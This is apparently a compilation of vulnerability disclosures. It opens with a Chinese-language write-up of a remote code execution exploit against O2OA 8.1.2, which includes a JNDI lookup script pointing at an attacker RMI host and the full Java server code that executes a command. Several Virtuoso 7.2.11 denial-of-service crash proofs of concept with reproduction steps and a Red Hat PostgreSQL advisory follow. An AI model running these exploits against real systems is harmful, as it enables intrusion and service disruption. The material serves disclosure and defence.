Remote Code Execution (RCE) vulnerability in o2oa version 8.1.2 and before, allows attackers to create a new interface in the service management function to execute JavaScript.

**Name already in use**

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

**1** branch **0** tags

Code

*   Use Git or checkout with SVN using the web URL.
    
*   Open with GitHub Desktop
*   Download ZIP

**Latest commit**

**Files**Permalink

Failed to load latest commit information.

Type

Name

Latest commit message

Commit time

**OA远程代码执行**

1.管理员登录之后访问服务管理，然后新建一个接口

2.接口中 写一个调用jndi服务的脚本

    var poc=new javax.naming.InitialContext().lookup("rmi://192.168.1.4:1099/zlgExploit");
    

3.开启JNDIRmi服务端(可以使用项目中的JNDIRmiServer.jar来启动rmi服务端：java -jar JNDIRmiServer.jar,启动之后在payload里面输入：rmi://yourip:1099/zlgExploit即可)

服务端代码如下

    package com.best.hello.controller.JNDI;
    
    
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    import org.apache.naming.ResourceRef;
    
    import javax.naming.InitialContext;
    import javax.naming.Reference;
    import javax.naming.StringRefAddr;
    import java.rmi.Naming;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    import java.rmi.server.RemoteObject;
    
    // JNDI + RMI 服务
    // rmi://127.0.0.1:1099/Object
    public class JNDIRmiServer {
        public static void main(String[] args) throws Exception {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
            String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
                    "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
                    "java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n" +
                    "$$\n";
            String JDBC_USER = "root";
            String JDBC_PASSWORD = "password";
    
            ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
            ref.add(new StringRefAddr("url",JDBC_URL));
            ref.add(new StringRefAddr("username",JDBC_USER));
            ref.add(new StringRefAddr("password",JDBC_PASSWORD));
            ref.add(new StringRefAddr("initialSize","1"));
            ref.add(new StringRefAddr("init","true"));
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
    
            Naming.bind("rmi://0.0.0.0:1099/zlgExploit",referenceWrapper);
    
        }
    }
    

在O2OA WEB端运行脚本之后，如下图所示，成功执行命令，计算机成功弹出

CVE-2023-47418: GitHub - Onlyning/O2OA

A stack overflow in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE v0 ( v1 DECIMAL ) ; 
  INSERT INTO v0 VALUES ( 0 ) ; 
  INSERT INTO v0 ( v1 ) SELECT CASE v1 WHEN 49 THEN v1 ELSE \-128 END FROM v0 AS v2 , v0 , v0 AS v3 GROUP BY v1 , v1 ; 
  UPDATE v0 SET v1 \= ( SELECT DISTINCT \* FROM v0 ) ; 

Server Log:

    14:21:24 HTTP/WebDAV server online at 8890
    14:21:24 Server online at 1111 (pid 1)
    *** stack smashing detected ***: terminated
    

Due to the stack smashing, I failed to retrieve the correct backtrace.

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb\_test isql 1111 dba

CVE-2023-48945: Fuzzer: Virtuoso 7.2.11 crashed by stack smashing · Issue #1172 · openlink/virtuoso-opensource

An issue in the box_mpy function of openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE v0 ( v1 INT ) ; 
  INSERT INTO v0 VALUES ( 2147483647 ) ; 
  INSERT INTO v0 VALUES ( \-1 ) ; 
  INSERT INTO v0 ( v1 , v1 , v1 ) SELECT 54 , v1 , \-128 FROM v0 AS v4 , v0 , v0 AS v3 NATURAL JOIN v0 AS v2 ; 
  UPDATE v0 SET v1 \= NULL WHERE ( v1 \* 2147483647 , CASE WHEN v1 \= 'x' THEN 75 WHEN DENSE\_RANK ( 'x' ) THEN 25942677.000000 END + 16 \* 127 ) IN ( SELECT v1 FROM v0 WHERE v1 \>= 127 AND ( v1 \* 16 , v1 , ( SELECT v1 FROM v0 WHERE ( v1 , v1 ) IN ( SELECT v1 , v1 AS v8 FROM v0 AS v6 NATURAL JOIN v0 AS v7 NATURAL JOIN v0 AS v5 NATURAL JOIN v0 WHERE v1 ) ORDER BY v1 ) ) \- 'x' GROUP BY 48002391.000000 ) ; 

backtrace:

#0 0xc201b3 (box\_mpy+0x83)
#1 0x754c6e (code\_vec\_run\_v+0x19be)
#2 0x7b86bb (end\_node\_input+0x13b)
#3 0x7af05e (qn\_input+0x3ce)
#4 0x7af78f (qn\_ts\_send\_output+0x23f)
#5 0x7b509e (table\_source\_input+0x16ee)
#6 0x7af05e (qn\_input+0x3ce)
#7 0x44c979 (chash\_fill\_input+0x589)
#8 0x5370af (hash\_fill\_node\_input+0xef)
#9 0x7af05e (qn\_input+0x3ce)
#10 0x7af4c6 (qn\_send\_output+0x236)
#11 0x44c52e (chash\_fill\_input+0x13e)
#12 0x5370af (hash\_fill\_node\_input+0xef)
#13 0x7af05e (qn\_input+0x3ce)
#14 0x7af4c6 (qn\_send\_output+0x236)
#15 0x44c52e (chash\_fill\_input+0x13e)
#16 0x5370af (hash\_fill\_node\_input+0xef)
#17 0x7af05e (qn\_input+0x3ce)
#18 0x7af4c6 (qn\_send\_output+0x236)
#19 0x8214bd (set\_ctr\_vec\_input+0x99d)
#20 0x7af05e (qn\_input+0x3ce)
#21 0x7c1be9 (qr\_dml\_array\_exec+0x839)
#22 0x7ce602 (sf\_sql\_execute+0x15d2)
#23 0x7cecde (sf\_sql\_execute\_w+0x17e)
#24 0x7d799d (sf\_sql\_execute\_wrapper+0x3d)
#25 0xe214bc (future\_wrapper+0x3fc)
#26 0xe28dbe (\_thread\_boot+0x11e)
#27 0x7fa2b8a15609 (start\_thread+0xd9)
#28 0x7fa2b87e5133 (clone+0x43)

ways to reproduce (write poc to the file /tmp/test.sql first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb\_test isql 1111 dba

CVE-2023-48946: Fuzzer: Virtuoso 7.2.11 crashed at box_mpy · Issue #1178 · openlink/virtuoso-opensource

An issue in the cha_cmp function of openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE v0 ( v1 INT ) ;
 INSERT INTO v0 ( v1 , v1 , v1 ) VALUES ( 77 , \-128 , \-1 ) ;
 INSERT INTO v0 VALUES ( 4 ) ;
 SELECT CASE \-128 / 56 WHEN v1 THEN 20 ELSE v1 + \-2147483648 END , v1 FROM v0 UNION SELECT 19 , 0 \* v1 FROM v0 GROUP BY v1 ;

backtrace:

#0 0x42c769 (cha\_cmp+0x69)
#1 0x4339cf (setp\_chash\_distinct\_run+0x1dcf)
#2 0x434478 (setp\_chash\_distinct+0x3b8)
#3 0x63bdc3 (setp\_node\_run+0xe3)
#4 0x63cc23 (setp\_node\_input+0x33)
#5 0x7af05e (qn\_input+0x3ce)
#6 0x7af78f (qn\_ts\_send\_output+0x23f)
#7 0x437069 (chash\_read\_input+0x1029)
#8 0x7af05e (qn\_input+0x3ce)
#9 0x7af4c6 (qn\_send\_output+0x236)
#10 0x7af05e (qn\_input+0x3ce)
#11 0x63d1c3 (union\_node\_input+0x1d3)
#12 0x7518c7 (qr\_resume\_pending\_nodes+0x197)
#13 0x751c9a (subq\_next+0x1ba)
#14 0x821acb (subq\_node\_vec\_input+0x2eb)
#15 0x7af05e (qn\_input+0x3ce)
#16 0x7af4c6 (qn\_send\_output+0x236)
#17 0x8214bd (set\_ctr\_vec\_input+0x99d)
#18 0x7af05e (qn\_input+0x3ce)
#19 0x7c084b (qr\_exec+0x11db)
#20 0x7ce1d6 (sf\_sql\_execute+0x11a6)
#21 0x7cecde (sf\_sql\_execute\_w+0x17e)
#22 0x7d799d (sf\_sql\_execute\_wrapper+0x3d)
#23 0xe214bc (future\_wrapper+0x3fc)
#24 0xe28dbe (\_thread\_boot+0x11e)
#25 0x7f14fb425609 (start\_thread+0xd9)
#26 0x7f14fb1f5133 (clone+0x43)

ways to reproduce (write poc to the file /tmp/test.sql first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb\_test isql 1111 dba

CVE-2023-48947: Fuzzer: Virtuoso 7.2.11 crashed at cha_cmp · Issue #1179 · openlink/virtuoso-opensource

An issue in the box_col_len function in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

The PoC is generated by my DBMS fuzzer.

    CREATE TABLE v0 ( v1 nvarchar ) ; 
     INSERT INTO v0 VALUES ( 1 ) ; 
     INSERT INTO v0 SELECT MAX ( DISTINCT v1 ) FROM v0 ; 
     INSERT INTO v0 SELECT v1 FROM v0 WHERE ( SELECT ( SELECT v1 FROM v0 ) ) ; 
    

backtrace:

    #0 0x86df90 (box_col_len+0x90)
    #1 0x88c0af (key_vec_insert+0x9df)
    #2 0x7b679b (insert_node_run+0x8fb)
    #3 0x7b6b1c (insert_node_input+0x11c)
    #4 0x7af05e (qn_input+0x3ce)
    #5 0x7af78f (qn_ts_send_output+0x23f)
    #6 0x7b509e (table_source_input+0x16ee)
    #7 0x7af05e (qn_input+0x3ce)
    #8 0x7af4c6 (qn_send_output+0x236)
    #9 0x8214bd (set_ctr_vec_input+0x99d)
    #10 0x7af05e (qn_input+0x3ce)
    #11 0x7c1be9 (qr_dml_array_exec+0x839)
    #12 0x7ce602 (sf_sql_execute+0x15d2)
    #13 0x7cecde (sf_sql_execute_w+0x17e)
    #14 0x7d799d (sf_sql_execute_wrapper+0x3d)
    #15 0xe214bc (future_wrapper+0x3fc)
    #16 0xe28dbe (_thread_boot+0x11e)
    #17 0x7ff3d19ba609 (start_thread+0xd9)
    #18 0x7ff3d178a133 (clone+0x43)
    

ways to reproduce (write poc to the file /tmp/test.sql first):

    # remove the old one
    docker container rm virtdb_test -f
    # start virtuoso through docker
    docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
    # wait the server starting
    sleep 10
    # check whether the simple query works
    echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
    # run the poc
    cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba

CVE-2023-48950: Fuzzer: Virtuoso 7.2.11 crashed at box_col_len · Issue #1174 · openlink/virtuoso-opensource

An issue in the box_equal function in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE v0 ( v1 SMALLINT CHECK ( CONTAINS ( 'del' , 'reabbreviating' , 'diamonds' ) ) ) ; 

backtrace:

#0 0xdeab6a (box\_equal+0xba)
#1 0x773df3 (sqlo\_cname\_ot+0x53)
#2 0x6e0161 (sqlo\_df+0x461)
#3 0x6e0d6c (sqlo\_df+0x106c)
#4 0x6e067f (sqlo\_df+0x97f)
#5 0x70ea77 (sqlo\_top\_2+0x267)
#6 0x70e4a5 (sqlo\_top\_1+0x135)
#7 0x70ffa6 (sqlo\_top\_select+0x156)
#8 0x6b9b6f (sql\_stmt\_comp+0x8bf)
#9 0x6bc9d2 (sql\_compile\_1+0x1a62)
#10 0x4e213f (ddl\_table\_check\_constraints\_define\_triggers+0x1af)
#11 0x4e462d (ddl\_table\_constraints+0xd0d)
#12 0x4e5331 (sql\_ddl\_node\_input\_1+0xbc1)
#13 0x4e57ee (sql\_ddl\_node\_input+0x10e)
#14 0x7bcb0b (ddl\_node\_input\_1+0x19b)
#15 0x7bd1e7 (qn\_without\_ac\_at+0xc7)
#16 0x7af05e (qn\_input+0x3ce)
#17 0x7c1be9 (qr\_dml\_array\_exec+0x839)
#18 0x7ce602 (sf\_sql\_execute+0x15d2)
#19 0x7cecde (sf\_sql\_execute\_w+0x17e)
#20 0x7d799d (sf\_sql\_execute\_wrapper+0x3d)
#21 0xe214bc (future\_wrapper+0x3fc)
#22 0xe28dbe (\_thread\_boot+0x11e)
#23 0x7f4182517609 (start\_thread+0xd9)
#24 0x7f41822e7133 (clone+0x43)

ways to reproduce (write poc to the file /tmp/test.sql first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb\_test isql 1111 dba

CVE-2023-48951: Fuzzer: Virtuoso 7.2.11 crashed at box_equal · Issue #1177 · openlink/virtuoso-opensource

An issue in the box_add function in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE v0 ( v1 FLOAT UNIQUE , v2 INT ) ;
 INSERT INTO v0 VALUES ( NULL , 57 ) ;
 INSERT INTO v0 VALUES ( \-1 , ( SELECT 60 , v2 FROM v0 WHERE v2 \= \-1 ) ) ;
 UPDATE v0 SET v1 \= ( CASE WHEN v2 \* v1 THEN 76 ELSE ( SELECT v2 FROM v0 WHERE v1 \= \-2147483648 / CASE WHEN v2 \= ( SELECT v1 FROM v0 WHERE ( CASE WHEN v2 \= v2 AND v2 \= v2 AND v2 THEN v2 + v1 \* \-128 + 48100742.000000 END ) IN ( SELECT v1 FROM v0 WHERE v2 BETWEEN 'x' AND 'x' OR ( CASE WHEN v2 \= 16 THEN 46 ELSE v1 + ( 69175744.000000 , 10962973.000000 ) / 36 + 5 END ) GROUP BY 'x' ) ORDER BY v2 / 45 DESC ) THEN 32232158.000000 END ) END ) ;

backtrace:

#0 0xc1e333 (box\_add+0x83)
#1 0x75e0ba (code\_vec\_run\_no\_catch+0xe5a)
#2 0x8966e5 (itc\_vec\_row\_check+0x8e5)
#3 0x617353 (itc\_page\_search+0xc13)
#4 0x61345f (itc\_search+0x84f)
#5 0x896de4 (itc\_vec\_next+0x364)
#6 0x7b2565 (ks\_start\_search+0xf75)
#7 0x7b434e (table\_source\_input+0x99e)
#8 0x7af05e (qn\_input+0x3ce)
#9 0x44c979 (chash\_fill\_input+0x589)
#10 0x5370af (hash\_fill\_node\_input+0xef)
#11 0x7af05e (qn\_input+0x3ce)
#12 0x7af4c6 (qn\_send\_output+0x236)
#13 0x8214bd (set\_ctr\_vec\_input+0x99d)
#14 0x7af05e (qn\_input+0x3ce)
#15 0x7c1be9 (qr\_dml\_array\_exec+0x839)
#16 0x7ce602 (sf\_sql\_execute+0x15d2)
#17 0x7cecde (sf\_sql\_execute\_w+0x17e)
#18 0x7d799d (sf\_sql\_execute\_wrapper+0x3d)
#19 0xe214bc (future\_wrapper+0x3fc)
#20 0xe28dbe (\_thread\_boot+0x11e)
#21 0x7f7e10239609 (start\_thread+0xd9)
#22 0x7f7e10009133 (clone+0x43)

ways to reproduce (write poc to the file /tmp/test.sql first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb\_test isql 1111 dba

CVE-2023-48949: Fuzzer: Virtuoso 7.2.11 crashed at box_add · Issue #1173 · openlink/virtuoso-opensource

An issue in the box_deserialize_reusing function in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE v0 ( v1 INT , v2 BIGINT PRIMARY KEY) ;
 INSERT INTO v0 VALUES ( 20 , \-1 ) ;
 SELECT v1 + 77 , v2 FROM v0 UNION SELECT v2 , CASE WHEN 92 THEN 86 ELSE ( ( 32433852.000000 , 70038895.000000 ) , ( 64572024.000000 , 4442219.000000 ) ) END FROM v0 ORDER BY v2 + \-1 \* 40 ;

backtrace:

#0 0x876418 (box\_deserialize\_reusing+0x38)
#1 0x87917e (sslr\_qst\_get+0x46e)
#2 0x81f2f6 (select\_node\_input\_vec+0x656)
#3 0x7ba667 (select\_node\_input+0xa7)
#4 0x7af05e (qn\_input+0x3ce)
#5 0x7af78f (qn\_ts\_send\_output+0x23f)
#6 0x7b509e (table\_source\_input+0x16ee)
#7 0x7af05e (qn\_input+0x3ce)
#8 0x7af4c6 (qn\_send\_output+0x236)
#9 0x7af05e (qn\_input+0x3ce)
#10 0x7af4c6 (qn\_send\_output+0x236)
#11 0x8214bd (set\_ctr\_vec\_input+0x99d)
#12 0x7af05e (qn\_input+0x3ce)
#13 0x7c084b (qr\_exec+0x11db)
#14 0x7ce1d6 (sf\_sql\_execute+0x11a6)
#15 0x7cecde (sf\_sql\_execute\_w+0x17e)
#16 0x7d799d (sf\_sql\_execute\_wrapper+0x3d)
#17 0xe214bc (future\_wrapper+0x3fc)
#18 0xe28dbe (\_thread\_boot+0x11e)
#19 0x7fca3837c609 (start\_thread+0xd9)
#20 0x7fca3814c133 (clone+0x43)

ways to reproduce (write poc to the file /tmp/test.sql first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb\_test isql 1111 dba

CVE-2023-48952: Fuzzer: Virtuoso 7.2.11 crashed at box_deserialize_reusing · Issue #1175 · openlink/virtuoso-opensource

An issue in the box_div function in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE v0 ( v1 INTEGER NOT NULL PRIMARY KEY ) ; 
  INSERT INTO v0 VALUES ( 95 ) ; 
  INSERT INTO v0 VALUES ( ( SELECT ( \-1 , \-1 ) \* ( 31 , 84 ) FROM v0 WHERE v1 BETWEEN 'x' AND 'x' OR EXISTS ( SELECT v1 FROM v0 WHERE v1 NOT IN ( SELECT 20 FROM v0 WHERE ( v1 \> 2147483647 AND v1 < 271514.000000 ) ) ) ) ) ; 
  INSERT INTO v0 SELECT v1 + v1 + v1 FROM v0 ORDER BY v1 ; 
  INSERT INTO v0 VALUES ( ( SELECT ( 34 , 16 ) \* ( 41 , \-128 ) FROM v0 WHERE v1 BETWEEN 'x' AND 'x' OR EXISTS ( SELECT v1 FROM v0 WHERE v1 + v1 \* 24 / 50820962.000000 \- 0 / 86183090.000000 IN ( SELECT DISTINCT v1 FROM v0 WHERE 'x' OR ( ( ( v1 / 0 ) ) \[ 35 \] ) \* 16 BETWEEN 'x' AND 'x' GROUP BY v1 , v1 ) ) ) ) ; 

backtrace:

#0 0xc210f3 (box\_div+0x83)
#1 0x754f4e (code\_vec\_run\_v+0x1c9e)
#2 0x7b86bb (end\_node\_input+0x13b)
#3 0x7af05e (qn\_input+0x3ce)
#4 0x7af78f (qn\_ts\_send\_output+0x23f)
#5 0x7b509e (table\_source\_input+0x16ee)
#6 0x7af05e (qn\_input+0x3ce)
#7 0x44c979 (chash\_fill\_input+0x589)
#8 0x5370af (hash\_fill\_node\_input+0xef)
#9 0x7af05e (qn\_input+0x3ce)
#10 0x7af4c6 (qn\_send\_output+0x236)
#11 0x8214bd (set\_ctr\_vec\_input+0x99d)
#12 0x7af05e (qn\_input+0x3ce)
#13 0x751d38 (subq\_next+0x258)
#14 0x8201a2 (ins\_vec\_subq+0x2a2)
#15 0x753c6b (code\_vec\_run\_v+0x9bb)
#16 0x7b8737 (end\_node\_input+0x1b7)
#17 0x7af05e (qn\_input+0x3ce)
#18 0x7c1be9 (qr\_dml\_array\_exec+0x839)
#19 0x7ce602 (sf\_sql\_execute+0x15d2)
#20 0x7cecde (sf\_sql\_execute\_w+0x17e)
#21 0x7d799d (sf\_sql\_execute\_wrapper+0x3d)
#22 0xe214bc (future\_wrapper+0x3fc)
#23 0xe28dbe (\_thread\_boot+0x11e)
#24 0x7ff8b497a609 (start\_thread+0xd9)
#25 0x7ff8b474a133 (clone+0x43)

ways to reproduce (write poc to the file /tmp/test.sql first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb\_test isql 1111 dba

CVE-2023-48948: Fuzzer: Virtuoso 7.2.11 crashed at box_div · Issue #1176 · openlink/virtuoso-opensource

Red Hat Security Advisory 2023-7545-01 - An update for postgresql is now available for Red Hat Enterprise Linux 9.0 Extended Update Support. Issues addressed include integer overflow and remote SQL injection vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7545.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: postgresql security update  
Advisory ID:        RHSA-2023:7545-01  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:7545  
Issue date:         2023-11-28  
Revision:           01  
CVE Names:          CVE-2022-2625  
====================================================================

Summary: 

An update for postgresql is now available for Red Hat Enterprise Linux 9.0 Extended Update Support.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

PostgreSQL is an advanced object-relational database management system (DBMS).

Security Fix(es):

* postgresql: schema_element defeats protective search_path changes (CVE-2023-2454)

* postgresql: Buffer overrun from integer overflow in array modification (CVE-2023-5869)

* postgresql: Extension scripts replace objects not belonging to the extension. (CVE-2022-2625)

* postgresql: row security policies disregard user ID changes after inlining. (CVE-2023-2455)

* postgresql: Memory disclosure in aggregate function calls (CVE-2023-5868)

* postgresql: extension script @substitutions@ within quoting allow SQL injection (CVE-2023-39417)

* postgresql: Client memory disclosure when connecting with Kerberos to modified server (CVE-2022-41862)

* postgresql: Role pg_signal_backend can signal certain superuser processes. (CVE-2023-5870)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2022-2625

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2113825  
https://bugzilla.redhat.com/show_bug.cgi?id=2165722  
https://bugzilla.redhat.com/show_bug.cgi?id=2207568  
https://bugzilla.redhat.com/show_bug.cgi?id=2207569  
https://bugzilla.redhat.com/show_bug.cgi?id=2228111  
https://bugzilla.redhat.com/show_bug.cgi?id=2247168  
https://bugzilla.redhat.com/show_bug.cgi?id=2247169  
https://bugzilla.redhat.com/show_bug.cgi?id=2247170

Tag

#sql